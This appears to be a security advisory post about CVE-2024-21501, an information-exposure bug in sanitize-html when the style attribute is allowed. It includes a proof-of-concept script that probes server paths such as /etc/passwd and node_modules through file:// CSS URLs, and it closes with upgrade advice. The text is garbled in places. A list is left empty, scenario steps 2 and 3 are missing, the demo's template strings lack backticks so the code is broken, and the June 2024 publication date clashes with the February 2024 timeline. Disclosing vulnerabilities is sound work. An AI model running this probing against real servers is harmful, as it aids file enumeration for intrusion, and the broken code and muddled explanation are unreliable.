Published: June 2024
Severity: High
Affected Package: sanitize-html
Patched Version: 2.12.1 and above
Attacker Impact: File Path & Dependency Enumeration
References:
- GitHub Advisory
- NPM Security Advisory
What Is CVE-2024-21501?
CVE-2024-21501 is a vulnerability discovered in sanitize-html—a popular library for cleaning user input in Node.js environments. Versions before 2.12.1 are vulnerable to an information exposure bug that can leak file system information if exploited, specifically when used on the backend and the style attribute is allowed in the allowedAttributes settings.
This bug can let an attacker enumerate files on the server, including insight into what dependencies are installed, just by passing crafted CSS payloads into the API.
Why Is This Dangerous?
Information leakage vulnerabilities can provide critical details for attackers who want to move further into your system. By exposing internal file paths and clues about framework and library dependencies, exploits like these can:
Who Is Affected?
Anyone using sanitize-html before v2.12.1 in a backend context (Node.js), and allowing the CSS style attribute in sanitized input.
Note: On the frontend (browser-side), the bug does not manifest the same way, because browsers restrict certain CSS features.
How The Exploit Works
At a high level: when you allow the style attribute, sanitize-html will process its content. If the attacker injects certain URL-based CSS functions, e.g., background-image: url(file:///some/path), sanitize-html tries to fetch or interpret that file:// URL. This can cause it to error (or emit output) based on whether files exist, leaking information.
For example:
If sanitized output differs depending on if file:///etc/passwd exists, the attacker can enumerate file paths.
Vulnerable Setting Example
const sanitizeHtml = require('sanitize-html');
const dirty = '<div style="background-image: url(file:///etc/passwd)">test</div>';
const clean = sanitizeHtml(dirty, {
allowedTags: [ 'div' ],
allowedAttributes: {
div: [ 'style' ]
},
// All other security controls default
});
console.log(clean);
// Output may leak information via errors or output variance
Here’s a basic demonstration
const sanitizeHtml = require('sanitize-html');
const filesToTest = [
'/etc/passwd',
'/etc/hosts',
'./node_modules',
'C:/Windows/System32/drivers/etc/hosts', // For Windows servers
];
filesToTest.forEach(filePath => {
const input = <div style="background:url(file://${filePath})">Test</div>;
try {
const output = sanitizeHtml(input, {
allowedTags: [ 'div' ],
allowedAttributes: { 'div': ['style'] }
});
console.log(Tried file: ${filePath}\nResult: ${output}\n);
} catch (e) {
// Error could indicate file presence/absence by error type or message
console.error(Error for file ${filePath}:, e.message);
}
});
By analyzing the output (or exceptions), the attacker can infer the existence of files or folders.
Real-World Attack Scenario
1. Attacker submits crafted input with variations on file:///path/to/suspected/file in CSS.
Response output or error messages differ based on file existence or reading success.
4. Attacker scripts repeated queries to enumerate dependencies: e.g., node_modules/some-dependency/package.json.
5. Attacker learns about your server file paths, installed libraries, or even potentially sensitive configs.
How To Fix
Upgrade to sanitize-html 2.12.1 or later.
npm install sanitize-html@latest
Alternatively, remove style from allowed attributes if you do not absolutely need it
const clean = sanitizeHtml(dirty, {
allowedTags: [ 'div' ],
allowedAttributes: {
div: [] // <--- no 'style' allowed here
}
});
References
- GitHub issue & advisory
- sanitize-html changelog
- Snyk Security Report
Final Words
While this bug may look minor, information disclosure is often the first step to a major breach. If your infrastructure uses sanitize-html <2.12.1 anywhere on the backend, upgrade immediately—and audit your use of the style attribute.
Timeline
Published on: 02/24/2024 05:15:44 UTC
Last modified on: 03/06/2024 14:15:48 UTC